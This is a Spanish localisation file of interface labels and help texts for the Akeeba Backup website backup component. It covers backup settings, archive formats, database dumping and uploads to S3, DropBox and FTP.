correctamente, prueba a configurar este parámetro con 'Ninguno" CONFIG_BACKEND_JQUERYSRC_LOCAL="Incluido en el componente" CONFIG_BACKEND_JQUERYSRC_GOOGLE="Usar las librarías del API de Google AJAX" CONFIG_BACKEND_JQUERYSRC_NONE="Ninguno (ya cargado)" CONFIG_BACKEND_JQUERYUISRC_LABEL="Identificador UI de fuente de jQuery" CONFIG_BACKEND_JQUERYUISRC_DESC="El identificador UI de jQuery es responsable de mostrar todos los elementos de la interfaz gráfica de Akeeba Backup. Si otro componente/plugin ya carga jQuery y la interfaz gráfica de Akeeba Backup no funciona correctamente, prueba a configurar este parámetro con 'Ninguno" CONFIG_BACKEND_JQUERYUISRC_LOCAL="Incluido en el componente" CONFIG_BACKEND_JQUERYUISRC_GOOGLE="Usar las librarías del API de Google AJAX" CONFIG_BACKEND_JQUERYUISRC_NONE="Ninguno (ya cargado)" CONFIG_MINACL_LABEL="Nivel de acceso mínimo" CONFIG_MINACL_DESC="Nivel de acceso mínimo del usaurio (grupo de usuarios) que pueden acceder a Akeeba Backup" CONFIG_OPT_AUTHSUPER="Super Administrador" CONFIG_OPT_AUTHADMIN="Administrador" CONFIG_OPT_AUTHMANAGER="Manager" CONFIG_FEBENABLE_LABEL="Activar respaldo remoto y desde la parte pública" CONFIG_FEBENABLE_DESC="Cuando está activo, le permite inicar un nuevo proceso de respaldo sin necesidad de acceder a la parte privada. Es muy útil para hacer copias de seguridad programadas en su servidor o para realizar respaldos remotos." CONFIG_SECRETWORD_LABEL="Palabra secreta" CONFIG_SECRETWORD_DESC="Protege el respaldo desde la parte pública de ataques DoS (denegación de servicio), obligando a incluir esta palabra secreta en la URL del respaldo público. Es aconsejable usar sólo letras en mayúsculas y minúsculas y números (a-z,A-Z,0-9)." CONFIG_FRONTENDEMAIL_LABEL="Enviar Correo al terminar el respaldo" CONFIG_FRONTENDEMAIL_DESC="Envía un correo de notificación al terminar el respaldo remoto o desde la parte pública" CONFIG_ARBITRARYFEEMAIL_LABEL="Correo electrónico" CONFIG_ARBITRARYFEEMAIL_DESC="Enviar un correo electrónico a esta dirección (dejar en blanco para enviar el correo a todos los Super Administradores)" CONFIG_UPDUSERNAME_LABEL="Nombre de usuario en AkeebaBackup.com" CONFIG_UPDUSERNAME_DESC="Se requiere su nombre de usuario en AkeebaBackup.com para obtener actualizaciones de la edición Profesional. Si está usando Akeeba Backup Core, simplemente ignore esto." CONFIG_UPDPASSWORD_LABEL="Contraseña en AkeebaBackup.com" CONFIG_UPDPASSWORD_DESC="Se requiere su contraseña en AkeebaBackup.com para obtener actualizaciones de la edición Profesional. Si está usando Akeeba Backup Core, simplemente ignore esto." CONFIG_SAVE_OK="Se ha guardado la configuración" CONFIG_HEADER_BASIC="Básica" CONFIG_OUTDIR_TITLE="Directorio de Salida" CONFIG_OUTDIR_DESCRIPTION="Este es el directorio de su servidor donde Akeeba Backup guardará los archivos de respaldo y el fichero de registro. Puede usar las siguientes macros:
            • [DEFAULT_OUTPUT] El directorio de salida por defecto
            • [SITEROOT] El directorio principal de su sitio
            • [ROOTPARENT] Un directorio por encima del directorio principal de su sitio
            " CONFIG_OUTDIR_ROOT="Usar el directorio principal como el directorio de salida de su sitio provocará un fallo en el proceso de respaldo. Se ha cambiado su configuración." CONFIG_TMPDIR_TITLE="Directorio Temporal" CONFIG_TMPDIR_DESCRIPTION="Este es el directorio de su servidor donde Akeeba Backup guardará información temporal, tal como el volcado de la base de datos y el estado del motor mientras se hace el respaldo. Puede usar las siguientes macros:
            • [SITETMP] El directorio temporal de su sitio
            • [SITEROOT] El directorio principal de su sitio
            • [ROOTPARENT] Un directorio por encima del directorio principal de su sitio
            " CONFIG_TMPDIR_ROOT="Usar el directorio principal de su sitio como Directorio Temporal provocará un fallo en el proceso de respaldo. Se ha cambiado su configuración." CONFIG_LOGLEVEL_TITLE="Nivel de Registro" CONFIG_LOGLEVEL_DESCRIPTION="Esta opción determina cómo de exhaustivo será el fichero de registro del respaldo" CONFIG_LOGLEVEL_NONE="Ninguno" CONFIG_LOGLEVEL_ERROR="Sólo errores" CONFIG_LOGLEVEL_WARNING="Errores y Avisos" CONFIG_LOGLEVEL_INFO="Toda la Información" CONFIG_LOGLEVEL_DEBUG="Toda la Información y el Depurado" CONFIG_ARCHIVENAME_TITLE="Nombre del archivo de respaldo" CONFIG_ARCHIVENAME_DESCRIPTION="Patrón de nombre para el archivo de respaldo, donde sea aplicable. Puede usar las siguientes macros:
            • [HOST] El nombre del servidor
            • [DATE] La fecha en el momento del respaldo
            • [TIME] La hora en el momento del respaldo
            " CONFIG_BACKUPTYPE_TITLE="Tipo del Respaldo" CONFIG_BACKUPTYPE_DESCRIPTION="Qué tipo de respaldo quiere que realice Akeeba Backup" CONFIG_BACKUPTYPE_FULL="Respaldo completo del sitio" CONFIG_BACKUPTYPE_DBONLY="Sólo la base de datos del sitio principal (Fichero SQL)" CONFIG_BACKUPTYPE_FILEONLY="Sólo ficheros del sitio" CONFIG_BACKUPTYPE_ALLDB="Todas las bases de datos configuradas (fichero de archivos)" CONFIG_ADVANCED="Configuración avanzada" CONFIG_DUMPENGINE_TITLE="Motor de respaldo de la base de datos" CONFIG_DUMPENGINE_DESCRIPTION="Define cómo Akeeba Backup procesará su(s) base(s) de datos para producir el fichero de respaldo de la(s) misma(s)" CONFIG_SCANENGINE_TITLE="Motor de escaneado del sistema de ficheros" CONFIG_SCANENGINE_DESCRIPTION="Define cómo Akeeba Backup escaneará los ficheros y directorios de su sitio para determinar cuáles deben ser guardados en la copia de seguridad." CONFIG_ARCHIVERENGINE_TITLE="Motor del archivador" CONFIG_ARCHIVERENGINE_DESCRIPTION="Define el formato de archivos de Akeeba Backup. Algunos motores como DirectFTP, no producen archivos, sino que envían sus ficheors a otros servidores." CONFIG_PROCENGINE_TITLE="Motor de procesado de datos" CONFIG_PROCENGINE_DESCRIPTION="Los motores de procesado de datos permiten que Akeeba Backup procese los archivos a posteriori - por ejemplo, transfiriéndolos a un servidor de almacenamiento en la nube." CONFIG_WRITERENGINE_TITLE="Motro de procesado de la base de datos" CONFIG_WRITERENGINE_DESCRIPTION="Los motores de procesado de datos definen cómo escribe Akeeba Backup los archivos en el disco, o le permiten post procesar estos archivos - por ejemplo, transferirlos a una nube de servidores de almacenamiento." CONFIG_INSTALLER_TITLE="Script de restauración incluido" CONFIG_INSTALLER_DESCRIPTION="Cuando se hace un respaldo completo del sitio, Akeeba Backup incluye el script de restauración definido aquí en el archivo. Esto permite la restauración "bare metal" - No precisa de Akeeba Backup ni del gestor de contenidos (CMS) - en caso de que haya un fallo fatal del servidor." CONFIG_VIRTUALFOLDER_TITLE="Directorio virtual para ficheros fuera del sitio" CONFIG_VIRTUALFOLDER_DESCRIPTION="Si ha configurado algún directorio de fuera del sitio, sus contenidos aparecerán dentro del archivo como subdirectorios de este directorio virtual. Es virtual porque no exite en realidad en su servidor. Sólo existe dentro de archivo de respaldo. Asegúrese de que el nombre del directorio virtual es distinto del de los directorios existentes para evitar la pérdida de datos." CONFIG_HEADER_QUOTA="Administración de cuota" CONFIG_SIZEQUOTA_ENABLE_TITLE="Permitir cuota por tamaño" CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION="Si está activo, Akeeba Backup borrará los ficheros de respaldo antiguos si el tamaño conjunto de todos los archivos excede el límite definido.. Este parámetro se aplica por perfil." CONFIG_SIZEQUOTA_VALUE_TITLE="Tamaño de cuota" CONFIG_SIZEQUOTA_VALUE_DESCRIPTION="Si el tamaño total de los archivos de respaldo tomados por el perfil actual excede este límite, los respaldos más antiguos se borrarán del servidor.

            Consejo: Puede pinchar en la barra deslizadora y usar los cursores para elegir este valor de forma precisa." CONFIG_COUNTQUOTA_ENABLE_TITLE="Permitir cuota por conteo" CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION="Si está activo, Akeeba Backup borrará los ficheros de respaldo antiguos si su número es mayor que el límite definido." CONFIG_COUNTQUOTA_VALUE_TITLE="Cuota por conteo" CONFIG_COUNTQUOTA_VALUE_DESCRIPTION="Akeeba Backup borrará los ficheros antiguos si su número supera el definido en este campo. Los respaldos Multi parte se consideran como un único respaldo!

            Consejo: Puede pinchar en la barra deslizadora y usar los cursores para elegir este valor de forma precisa." CONFIG_HEADER_TUNING="Ajuste fino" CONFIG_MINEXECTIME_TITLE="Tiempo mínimo de ejecución" CONFIG_MINEXECTIME_DESCRIPTION="Cada paso de Akeeba Backup durará al menos tanto como defina aquí. Esto es preciso para establecer soluciones de seguridad anti-DoS. Si obtiene errores 403 Prohibido o errores de AJAX, por favor, aumente el valor de este campo. Poner el valor a 0 desactiva esta característica.

            Consejo: Puede pinchar en la barra deslizadora y usar los cursores para elegir este valor de forma precisa." CONFIG_MAXEXECTIME_TITLE="Tiempo máximo de ejecución" CONFIG_MAXEXECTIME_DESCRIPTION="Cada paso de Akeeba Backup durará como mucho tanto como defina aquí. Use un valor menor que su tiempo máximo de ejecución de PHP. Normalmente configurar este campo en 10 segundos es adecuado en hosts muy restrictivos.Consejo: Puede pinchar en la barra deslizadora y usar los cursores para elegir este valor de forma precisa." CONFIG_RUNTIMEBIAS_TITLE="Desvío del tiempo de ejecución" CONFIG_RUNTIMEBIAS_DESCRIPTION="Esto define lo conservador que será Akeeba Backup al intentar evitar el límite de itempo. Cuanto más bajo sea este valor, más conservativo será. Si obtiene errores de límite de tiempo, por favor, pruebe a reducir el Tiempo Máximo de Ejecución, antes que este parámetro. Consejo: Puede pinchar en la barra deslizadora y usar los cursores para elegir este valor de forma precisa." ENGINE_ARCHIVER_DIRECTFTP_TITLE="DirectFTP" ENGINE_ARCHIVER_DIRECTFTP_DESCRIPTION="Transfiere los ficheros del sitio a un servidor FTP remoto, sin archivarlos primero" CONFIG_DIRECTFTP_HOST_TITLE="Nombre del Servidor" CONFIG_DIRECTFTP_HOST_DESCRIPTION="Nombre del servidor FTP, sin el protocolo. Esto significa que ftp://example.com no es válido y example.com sí es válido. Akeeba Backup sólo soporta servidores FTP y FTPS. No tiene soporte para SFTP, SCP u otras variantes de SSH." CONFIG_DIRECTFTP_PORT_TITLE="Puerto" CONFIG_DIRECTFTP_PORT_DESCRIPTION="Puerto del servicor FTP. El parámetro más común es 21. Si no está seguro, por favor, contacte con su administrador de red" CONFIG_DIRECTFTP_USER_TITLE="Nombre de usuario" CONFIG_DIRECTFTP_USER_DESCRIPTION="Nombre de usuario del servidor FTP. Normalmente distingue entre mayúsculas y minúsculas. Si no está seguro, por favor, contacte con su administrador de red." CONFIG_DIRECTFTP_PASSWORD_TITLE="Contraseña" CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION="Contraseña del servidor FTP. Normalmente distingue entre mayúsculas y minúsculas. Si no está seguro, por favor, contacte con su administrador de red." CONFIG_DIRECTFTP_INITDIR_TITLE="Directorio inicial" CONFIG_DIRECTFTP_INITDIR_DESCRIPTION="La ruta FTP absoluta al directorio donde se subirán los ficheros. Si no está seguro, conéctese a su servidor con FileZilla, navegue en el directorio que quiere usar y copie la ruta que le aparecerá en el panel derecho, encima de la lista de directorios. Normalmente es una ruta corta como /public_html." CONFIG_DIRECTFTP_FTPS_TITLE="Usar FTP sobre SSL (FTPS)" CONFIG_DIRECTFTP_FTPS_DESCRIPTION="Si está activo, Akeeba Backup intentará conectarse a su servidor FTP usando una conexión SSL encriptada. ¡Esto no es lo mismo que SFTP, SCP o "Secure FTP"! Tenga en cuenta que si su servidor no soporta este método, obtendrá errores de conexión." CONFIG_DIRECTFTP_PASSIVE_TITLE="Usar modo pasivo" CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION="Usar el modo pasivo de FTP cuando se transfieren los datos. Esta opción está activada por defecto ya que es el método que funciona para la mayor parte de los cortafuegos instalados en los servidores web. No lo desactive a menos que esté seguro de que su servidor web no está tras un cortafuegos y que su servidor FTP requiere sin lugar a dudas tranferencia de ficheros en modo activo." CONFIG_DIRECTFTP_TEST_TITLE="Probar la conexión FTP" CONFIG_DIRECTFTP_TEST_DESCRIPTION="Use este botón para probar la conexión FTP o ver los errores de la misma en caso de fallo." CONFIG_DIRECTFTP_TEST_OK="¡La conexión al servidor remoto de FTP se ha establecido correctamente!" CONFIG_DIRECTFTP_TEST_FAIL="No se pudo conectar con el servidor remoto FTP." CONFIG_DIRECTFTP_TEST_DIALOG_TITLE="Test de Conexión FTP" ENGINE_ARCHIVER_JPA_TITLE="Formato JPA (recomendado)" ENGINE_ARCHIVER_JPA_DESCRIPTION="Un formato de archivo de fuente abierta, optimizado para la creación y extracción rápida de archivos usando código PHP" ENGINE_ARCHIVER_ZIP_TITLE="Formato ZIP" ENGINE_ARCHIVER_ZIP_DESCRIPTION="Ficheros ZIP estándar, es decir, "Directorios comprimidos" soportados de format nativa por los principales sistemas operativos" CONFIG_DEREFERENCESYMLINKS_TITLE="Desreferenciar los enlaces simbólicos" CONFIG_DEREFERENCESYMLINKS_DESCRIPTION="Cuando está activo, los enlaces simbólicos serán seguidos como ficheros y directorios normales. Cuando no está activo, los enlaces simbólicos no se seguirán. Si está usando enlaces simbólicos que llevan a un bucle infinito de enlaces, no marque esta opción." CONFIG_PARTSIZE_TITLE="Tamaño de las partes para los archivos en varios ficheros" CONFIG_PARTSIZE_DESCRIPTION="Akeeba Backup puede cerar archivos separados (multiparte) para evitar restricciones de tamaño bajo ciertas circunstancias. Esta opción define el tamaño máximo de cada parte de archivo. Si lo reduce a 0, la característica multiparte será deshabilitada.
            Importante:Si está usando un motor de procesado de datos que transfiere los ficheros a una localización remota (por ejemplo, almacenamiento en la nube) utilice entre 1 y 5 Mb para unos resultados óptimos." CONFIG_CHUNKSIZE_TITLE="Tamaño de los trozos para el procesado de ficheros grandes" CONFIG_CHUNKSIZE_DESCRIPTION="Akeeba Backup procesa los ficheros grandes en pequeños pedazos para evitar el límite de tiempo. Este parámetro define el tamaño máximo de los pedazos para este tipo de procesado." CONFIG_BIGFILETHRESHOLD_TITLE="Umbral para ficheros grandes" CONFIG_BIGFILETHRESHOLD_DESCRIPTION="Los ficheros por encima de este tamaño se guardarán sin comprimir, o seu procesado se realizará en muchos pasos (dependiendo del motor de archivado) para evitar el límite de tiempo. Le sugerimos que aumente este valor sólo en servidores rápidos y seguros." CONFIG_ZIPCDGLUECHUNKSIZE_TITLE="Tamaño de los trozos para el procesado del Directorio Central" CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION="Los ficheros ZIP se componen de una sección de datos y una sección de "directorio". Estas secciones, Akeeba Backup las procesa en paralelo y se unenal finalizar la etapa de archivo. Este parámetro determina cuántos datos se procesarán a la vez en esta etapa. No debería ser necesario cambiar este parámetro a menos que tenga graves problemas de extenuación de memoria." ENGINE_DUMP_NATIVE_TITLE="Motor de respaldo nativo de MySQL" ENGINE_DUMP_NATIVE_DESCRIPTION="Usa código PHP para producir una copia exacta en fichero de la base de datos" CONFIG_MYSQLCOMPAT_TITLE="Compatibilidad MySQL" CONFIG_MYSQLCOMPAT_DESCRIPTION="Determina la menor versión de MySQL con la que los comandos CREATE serán compatibles. Use el valor por defecto a menos que planee restarurar en un servidor con MySQL 4.1." CONFIG_MYSQLCOMPAT_NONE="Por Defecto" CONFIG_MYSQLCOMPAT_MYSQL4="MySQL 4.1" CONFIG_EXTENDEDINSERTS_TITLE="Generar INSERTs extendidos" CONFIG_EXTENDEDINSERTS_DESCRIPTION="Si está activo, el volcado de datos de la base de datos se hará mediante sentencias INSERT extendidas, es decir, una única sentencia restaurará múltiples filas de datos. Es muy recomendable que mantenga esta opción activa ya que acelerará el proceso de restauración y soluciona los límites de peticiones a la base de datos en servidores restrictivos." CONFIG_MAXPACKET_TITLE="Tamaño máximo del paquete para los INSERTs extendidos" CONFIG_MAXPACKET_DESCRIPTION="El tamaño máximo, en bytes, de cada sentencia INSERT extendida. Se recomienda mantener este valor lo suficiente bajo para que MySQL no tenga errores mientras que restaura su base de datos." CONFIG_MYSQL5FEATURES_ENABLE_TITLE="Volcar PROCEDUREs (PROCEDIMIENTOS), FUNCTIONs (FUNCIONES) y TRIGGERs (DISPARADORES)" CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION="Cuando está activo, Akeeba Backup intentará guardar en el respaldo estas entidades avanzadas de las base de datos MySQL 5. Si la operación de respaldo se cuelga, pruebe a deshabilitar esto." CONFIG_SPLITDBDUMP_TITLE="Tamaño para separar los ficheros del volcado SQL" CONFIG_SPLITDBDUMP_DESCRIPTION="El volcado de su base de datos se dividirá en pequeños ficheros que mejorarán la compresión y evitará los problemas con el tamaño del fichero en servidores poco optimizados, debería usar la mitad del tamaño de su Umbral para Ficheros grandes. Configure este parámetro a 0 para deshabilitar esta división y crear un único fichero de gran tamaño por cada volcado de base de datos." CONFIG_BACTHSIZE_TITLE="Número de filas por lote" CONFIG_BACTHSIZE_DESCRIPTION="Bajar este valor ahorrará memoria y evitará errores HTTP 500 mientras que se hace el respaldo de tablas grandes" ENGINE_SCAN_SMART_TITLE="Escaneo inteligente" ENGINE_SCAN_SMART_DESCRIPTION="Balancear de forma inteligente la velocidad y la protección de tiempo" CONFIG_LARGEDIRTHRESHOLD_TITLE="Umbral de directorios grandes" CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION="Cuando un directorio contiene sobre este número de ficheros o directorios se considera "large". Así, Akeeba Backup intentará re-escanearlo en el siguiente paso para evitar límites de tiempo. Un valor muy pequeño puede ralentizar considerablemente el respaldo. Incremente este valor - a menos que tenga errores de límites de tiempo - para acelerar el respaldo." ENGINE_POSTPROC_NONE_TITLE="Sin procesado a posteriori" ENGINE_POSTPROC_NONE_DESCRIPTION="Dejar los ficheros de respaldo en el servidor" CONFIG_DELETEAFTER_TITLE="Borrar el archivo tras el procesado" CONFIG_DELETEAFTER_DESCRIPTION="Si está activado, el archivo de respaldo se borrará de este servidro tan pronto como termine con éxito el procesado a posteriori." ENGINE_POSTPROC_S3_TITLE="Subir a Amazon S3" ENGINE_POSTPROC_S3_DESCRIPTION="Sube el archivo de respaldo a Amazon S3.
            ¡Recuerde configurar el tamaño de la división del archivo entre 2-30Mb o corre el riesgo de subrir errores por límites de tiempo!" CONFIG_S3ACCESSKEY_TITLE="Clave de Acceso" CONFIG_S3ACCESSKEY_DESCRIPTION="Su clave de acceso de Amazon S3, que tiene disponible en al página de su perfil en sus servicios Web de Amazon" CONFIG_S3SECRETKEY_TITLE="Clave Secreta" CONFIG_S3SECRETKEY_DESCRIPTION="Su clave secreta de Amazon S3, que tiene disponible en al página de su perfil en sus servicios Web de Amazon" CONFIG_S3USESSL_TITLE="Usar SSL" CONFIG_S3USESSL_DESCRIPTION="Si está activado, se usará una conexión segura (HTTPS) para subir sus ficheros. Aunque esto incrementa la seguridad de los datos transferidos, también incrementa la posibilidad de fallos en el respaldo por errores de límite de tiempo." CONFIG_S3BUCKET_TITLE="Cubo" CONFIG_S3BUCKET_DESCRIPTION="El nombre de su cubo en Amazon S3" CONFIG_S3DIRECTORY_TITLE="Directorio" CONFIG_S3DIRECTORY_DESCRIPTION="El directorio dentro de su cubo donde se guardarán los archivos de respaldo. Déjelo en blanco para guardar los ficheros en la raiz del cubo." ENGINE_POSTPROC_DROPBOX_TITLE="Subir a DropBox" ENGINE_POSTPROC_DROPBOX_DESCRIPTION="Subir el archivo de repaldo a DropBox.
            ¡Recuerde configurar el tamaño de la división del archivo entre 2-30Mb o corre el riesgo de subrir errores por límites de tiempo!" CONFIG_DROPBOXEMAIL_TITLE="Dirección de Correo Electrónico" CONFIG_DROPBOXEMAIL_DESCRIPTION="La dirección de correo electrónico asociada con su cuenta DropBox" CONFIG_DROPBOXPWD_TITLE="Contraseña" CONFIG_DROPBOXPWD_DESCRIPTION="Contraseña de su cuenta en DropBox" CONFIG_DROPBOXDIRECTORY_TITLE="Directorio" CONFIG_DROPBOXDIRECTORY_DESCRIPTION="El directorio dentro de su cuenta DropBox donde se guardarán los archivos de respaldo. Déjelo en blanco para guardar los ficheros dentro de la raiz." ENGINE_POSTPROC_FTP_TITLE="Subir a un servidor FTP Remoto" ENGINE_POSTPROC_FTP_DESCRIPTION="Subir el archivo de respaldo a un servidor remoto FTP o FTPS (FTP sobre SSL implícito).
            ¡Recuerde configurar el tamaño de la división del archivo entre 2-30Mb o corre el riesgo de subrir errores por límites de tiempo!" CONFIG_POSTPROCFTP_HOST_TITLE="Nombre del servidor" CONFIG_POSTPROCFTP_HOST_DESCRIPTION="Nombre del servidor FTP, sin el protocolo. Esto significa que ftp://example.com no es correcto y que example.com sí lo es. Este motor sólo soporta servidores FTP y FTPS. No soporta SFTP, SCP ni otras variantes SSH." CONFIG_POSTPROCFTP_PORT_TITLE="Puerto" CONFIG_POSTPROCFTP_PORT_DESCRIPTION="Puerto del servidor FTP. La configuración más común es 21. Si no está seguro, por favor contacte con su administrador de red." CONFIG_POSTPROCFTP_USER_TITLE="Nombre de usuario" CONFIG_POSTPROCFTP_USER_DESCRIPTION="Nombre de usuario del servidor FTP. Normalmente diferencia entre mayúsculas y minúsculas. Si no está seguro, por favor contacte con su administrador de red." CONFIG_POSTPROCFTP_PASSWORD_TITLE="Contraseña" CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION="Contraseña del servidro FTP. Normalmente diferencia entre mayúsculas y minúsculas. Si no está seguro, por favor contacte con su administrador de red." CONFIG_POSTPROCFTP_INITDIR_TITLE="Directorio Inicial" CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION="La ruta FTP absoluta al directorio donde se subirán los ficheros. Si no está seguro, conéctese a su servidor con Filezilla, acceda al directorio deseado y copie la ruta que le aparecerá en el panel derecho, encima del listado del directorio. Normalmente es algo corto como /public_html." CONFIG_POSTPROCFTP_FTPS_TITLE="Usar FTP sobre SSL (FTPS)" CONFIG_POSTPROCFTP_FTPS_DESCRIPTION="Si está activo, Akeeba Backup intentará conectarse a su servidor FTP usando una conexión SSL encriptada. ¡Esto no es lo mismo que SFTP, SCP o "Secure FTP"! Tenga en cuenta que si su servidor no soporta este método, tendrá errores de conexión." CONFIG_POSTPROCFTP_PASSIVE_TITLE="Usar modo pasivo" CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION="Usar FTP en modo pasivo cuando transfiera los datos. Esto está activo por defecto ya que es el único método que funciona a través de los cortafuegos que comunmente se encuentran en los servidores web. No lo desactive a menos que esté seguro de que su servidor no está tras un cortafuegos y de que su servidor FTP, requiere sin lugar a dudas transferencia de ficheros en modo activo." CONFIG_POSTPROCFTP_TEST_TITLE="Probar la conexión de FTP" CONFIG_POSTPROCFTP_TEST_DESCRIPTION="Use este botón para probar la conexión FTP y ver los errores de conexión en caso de fallo." CONFIG_POSTPROCFTP_TEST_OK="¡La conexión al serviro FTP remoto se estableció con éxito!" CONFIG_POSTPROCFTP_TEST_FAIL="No se pudo conectar con el servidor FTP remoto" CONFIG_POSTPROCFTP_TEST_DIALOG_TITLE="Prueba de conexión FTP" CONFIG_UI_BROWSER_TITLE="Navegador de Directorios" CONFIG_UI_AJAXERRORDLG_TITLE="Error de AJAX" CONFIG_UI_AJAXERRORDLG_TEXT="Ocurrió un error mientras esperaba un respuesta AJAX:" CONFIG_UI_BROWSE="Navegar..." CONFIG_UI_CONFIG="Configurar..." CONFIG_UI_ROOTDIR="Usar la raiz del sitio para guardar el respaldo o el fichero de almacenamiento temporal puede llevar a un fallo en el respaldo. Estoy sobreescribiendo su configuración." WRITABLE="Escribible" UNWRITABLE="No escribible" BROWSER_LBL_GO="Ir" BROWSER_LBL_USE="Usar" BROWSER_LBL_GOPARENT="<Al nivel superior>" BROWSER_ERR_NOTEXISTS="¡El directorio especificado no existe!" BROWSER_ERR_NONROOT="Nota: Este directorio es fuera de la raiz de su sitio. Puede que no pueda acceder a su contenido." BROWSER_ERR_BASEDIR="El directorio especificado está sujeto a restricciones de open_basedir. No puede usarse para almacenar el respaldo, ni sus contenidos, si los hubiera, pueden ser mostrados." QNONE="No se han detectado problemas" Q001="Directorio de salida no escribible" Q002="Directorio temporal no escribible" Q003="Usar la raiz del sitio como Salida ó Directorio temporal" Q101="El directorio de salida está restringido con open_basedir" Q102="El directorio temporal está restringido con open_basedir" Q103="El tiempo máximo de ejecución es demasiado bajo" Q104="Directorio temporal del servidor en uso" Q201="Versión de PHP obsoleta (PHP4)" Q202="Problema de cálculo de CRC" Q203="El directorio de salida por defecto está en uso" Q204="Las funciones desactivadas pueden afectar al proceso" Q401="Formato ZIP elegido" BACKUP_DEFAULT_DESCRIPTION="Respaldo tomado en" BACKUP_HEADER_STARTNEW="Comenzar un nuevo respaldo" BACKUP_LABEL_DETECTEDQUIRKS="Puede que Akeeba Backup no funcione como se espera" BACKUP_LABEL_QUIRKSLIST="Akeeba Backup detectó los siguientes problemas potenciales:" BACKUP_LABEL_DESCRIPTION="Descripción corta" BACKUP_LABEL_COMMENT="Comentarios del respaldo" BACKUP_LABEL_START="¡Respaldar ahora!" BACKUP_LABEL_PROGRESS="Progreso del Respaldo" BACKUP_LABEL_WARNINGS="Avisos" BACKUP_HEADER_BACKUPFAILED="El respaldo falló" BACKUP_TEXT_BACKUPFAILED="La operación de respaldo se ha parado porque se detectó un error.
            El último mensaje de error fue:" BACKUP_TEXT_READLOGFAIL="Por favor pulse en el botón de 'Ver Registro'en la barra de herramientas para ver el fichero de registro de Akeeba Backup para más información." BACKUP_TEXT_RTFMFIRST="Antes de escribir en el foro de soporte pidiendo ayuda por favor ¡lea la guía de usuario primero!." BACKUP_LABEL_DOMAIN_INIT="Iniciando el proceso de respaldo" BACKUP_LABEL_DOMAIN_INSTALLER="Incluyendo el instalador en el archivo" BACKUP_LABEL_DOMAIN_PACKDB="Respaldando la base de datos" BACKUP_LABEL_DOMAIN_PACKING="Respaldando los ficheros" BACKUP_LABEL_DOMAIN_FINISHED="Respaldo acabado" BACKUP_HEADER_BACKUPFINISHED="El respaldo se ha completado con éxito" BACKUP_TEXT_CONGRATS="¡Felicidades! El proceso de respaldo se ha completado con éxito.
            Ahora puede navegar por otra página." BACKUP_TEXT_LASTRESPONSE="Última repuesta del servidor en" BACKUP_TEXT_BACKINGUP="Por favor no navegue en otra página a menos que vea un mensaje de error o de que se ha realizado con éxito el respaldo." KETTENRAD_TIMEOUT="Akeeba Backup ha caducado. Por favor lea la documentación." PROFILE_CANNOT_DELETE_DEFAULT="No puede eliminar el Perfil por defecto (El que tiene id=1)" PROFILE_INVALID_ID="ID de Perfil no válido; se cancela la operación" PROFILE_SAVE_OK="El Perfil se ha guardado correctamente" PROFILE_SAVE_ERROR="Hubo un error guardando el Perfil" PROFILE_DELETE_OK="El Perfil ha sido borrado correctamente" PROFILE_DELETE_ERROR="Hubo un error eliminando el Perfil." PROFILE_COPY_OK="El Perfil y su configuración asociada se han copiado correctamente" PROFILE_COPY_ERROR="El Perfil y su configuración asociada no pudieron ser copiados." PROFILE_LABEL_DESCRIPTION="Descripción del perfil" PROFILE_LABEL_DESCRIPTION_TOOLTIP="Introduzca una descripción para este perfil. No tiene que ser única y sólo se usa para ayudarle a distinguir entre perfiles individuales." PROFILE_COLLABEL_DESCRIPTION="Descripción" PROFILE_PAGETITLE_EDIT="Editar Perfil" PROFILE_PAGETITLE_NEW="Nuevo Perfil" BACKUP_STATUS_NONE="No se ha realizado ningún respaldo" STATS_LABEL_DELETEFILES="Borrar Ficheros" STATS_LABEL_STATUS_FAIL="Fallo" STATS_LABEL_STATUS_PENDING="Pendiente" STATS_LABEL_ORIGIN_FRONTEND="Parte pública" STATS_LABEL_ORIGIN_BACKEND="Parte privada" STATS_LABEL_ORIGIN_CLI="Línea de comandos" STATS_LABEL_DESCRIPTION="Descripción" STATS_LABEL_START="Iniciar" STATS_LABEL_STATUS="Estado" STATS_LABEL_ORIGIN="Origen" STATS_LABEL_TYPE="Tipo" STATS_LABEL_STATUS_OK="OK" STATS_LABEL_NODESCRIPTION="(Sin descripción)" STATS_LABEL_COMMENT="Comentarios" STATS_LABEL_DURATION="Duración" STATS_LABEL_PROFILEID="Perfil" STATS_LABEL_SIZE="Tamaño" STATS_LABEL_ARCHIVE="Archivo" STATS_LABEL_STATUS_OBSOLETE="Obsoleto" STATS_LABEL_PART="Parte %02d" STATS_LABEL_RESTORE="Restaurar" STATS_LOG_SAVEDOK="Los cambios en la entrada del respaldo se han guardado correctamente" STATS_LOG_SAVEERROR="Los cambios en la entrada del respaldo no se han guardado" STATS_LOG_DOWNLOAD_CONFIRM="Descargar los ficheros de respaldo desde su navegador puede dar como resultado\nbajo ciertas circunstancias, descargas parciales o corruptas\ny por tanto el fallo en la restauración.\n\n¿Seguro que quiere continuar?" STATS_LOG_DOWNLOAD="Descargar" STATS_LOG_EDITCOMMENT="Ver / Editar comentario" STATS_MSG_DELETED="La entrada de restauración y el fichero han sido borrados correctamente" STATS_MSG_DELETEDFILE="El archivo de restauración ha sido borrado correctamente" STATS_ERROR_INVALIDID="Identificador de registro de respaldo no válido" STATS_ERROR_INVALIDDOWNLOAD="No se puede descargar el fichero del registro de respaldo especificado" LOG_LABEL_DOWNLOAD="Descargar el fichero de registro" LOG_ERROR_LOGFILENOTEXISTS="El fichero de registro, akeeba.backend.log, no existe en su directorio de salida" LOG_ERROR_UNREADABLE="El fichero de registro no es legible; por favor compruebe los permisos" FILTERS_LABEL_TABULARVIEW="Vista de Tabla" FILTERS_LABEL_NORMALVIEW="Vista Normal" FILTERS_LABEL_TYPE="Tipo" FILTERS_LABEL_FILTERITEM="Elemento del Filtro" FILTERS_LABEL_UIROOT="<raiz>" FILTERS_LABEL_UIERRORFILTER="Ocurrió un error mientras que se aplicaba el filtro "%s"" FILTERS_LABEL_ADDNEW="Añadir un filtro nuevo" FILTER_EDITOR_TITLE="Editar" FSFILTER_LABEL_ROOTDIR="Directorio raiz:" 